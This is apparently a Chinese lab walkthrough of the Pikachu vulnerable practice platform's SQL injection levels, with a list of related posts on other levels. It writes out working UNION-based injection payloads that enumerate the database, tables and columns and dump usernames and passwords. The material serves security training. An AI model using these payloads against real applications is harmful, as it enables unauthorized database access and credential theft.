一．数字型注入

二．字符型注入

在burp抓包

使用reprter注入

找列数id=2 order by 2# &submit=%E6%9F%A5%E8%AF%A2，如果猜测的列数大于select语句查询的结果的列数，会返回报错。

爆库，id=2 union select database(),2# &submit=%E6%9F%A5%E8%AF%A2，上一步知道了有两列，浏览器的返回结果有用户名和邮箱。当前数据库是pikachu

爆表，id=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'# &submit=%E6%9F%A5%E8%AF%A2

4.爆列，id=2 union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='pikachu'# &submit=%E6%9F%A5%E8%AF%A2

爆数据，id=2 union select username,password from users# &submit=%E6%9F%A5%E8%AF%A2

二．字符型注入

1.找列数，ccc’ order by 2#

2.爆库，ccc’ union select database(),2#

3.爆表，ccc' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'pikachu' #

4.爆列，ccc' union select 'aaa', group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'pikachu' #

5.获取数据信息，ccc' union select username,password from pikachu.users #

pikachu SQL 注入（皮卡丘漏洞平台通关系列）相关推荐

pikachu SQL注入 (皮卡丘漏洞平台通关系列)
目录一.官方的戏精引言二.仙女在认真闯关一重天数字型注入二重天字符型注入三重天搜索型注入四重天 xx型注入五重天 insert/update注入 (1)insert注入 (2)up ...
pikachu File Inclusion 文件包含漏洞（皮卡丘漏洞平台通关系列）
目录一.来自官方的简介二.来自小可爱的通关步骤第一关 File Inclusion(local) 1.读取"隐藏"文件 2.读取系统文件 3.结合文件上传getshell ...
pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)（皮卡丘漏洞平台通关系列）
目录一.官方介绍二.诚意推荐三.悠闲通关第1关 exec "ping" 第2关 exec "eval" 一.官方介绍本节引用内容来源pikachu漏洞 ...
pikachu XXE (XML外部实体注入)（皮卡丘漏洞平台通关系列）
目录一.来自官方的介绍以及来自民间的扩展 1.pikachu官方简介 2.小女子之前画的脑图 3.两个不错的博客二.小白菜的闯关 1.查看系统文件内容 2.查看php源代码 3.爆破开放端口三. ...
pikachu XSS Cross-Site Scripting（皮卡丘漏洞平台通关系列）
目录一.听pikachu介绍xss 二.羞耻又走心的推荐三.比较EASY的闯关第1关反射型xss(get) 1.阳关道 2.独木桥 3.第三种方法第2关反射型xss(post) 第3关存 ...
pikachu Unsafe Fileupload 不安全的文件上传（皮卡丘漏洞平台通关系列）
目录一.client check 客户端验证 1.现象 2.绕过姿势方法一.浏览器禁用javascript 方法二.burpsuite抓包改后缀 3.问题分析二.MIME type 1.现象 2 ...
pikachu Over permission 越权（皮卡丘漏洞平台通关系列）
目录 1.水平越权 (1)闯关 (2)原因 (3)防御 2.垂直越权 (1)闯关 (2)原因 (3)防御 3.尾声这关也挺简单 1.水平越权也称为横向越权,指相同权限下不同的用户可以互相访问,比如 ...
pikachu 暴力破解 Brute Force（皮卡丘漏洞平台通关系列）
目录一.官方概述二.小白菜的通关第一关基于表单的暴力破解第二关验证码绕过(on server) 1.绕过步骤 2.一点思考第三关验证码绕过(on client) 1.绕过步骤 2 ...
pikachu Unsafe Filedownload 不安全的文件下载（皮卡丘漏洞平台通关系列）
这关也几乎是一步就能搞定 1.轻松过关进入本关看到下图的页面,点击球员名字可以下载头像图片点击之后直接下载了,没有页面跳转,地址栏的url没有变化右键查看网页源代码通过球员名称快速定位到相关 ...

pikachu SQL 注入（皮卡丘漏洞平台通关系列）

一．数字型注入

二．字符型注入

pikachu SQL 注入（皮卡丘漏洞平台通关系列）相关推荐

最新文章

热门文章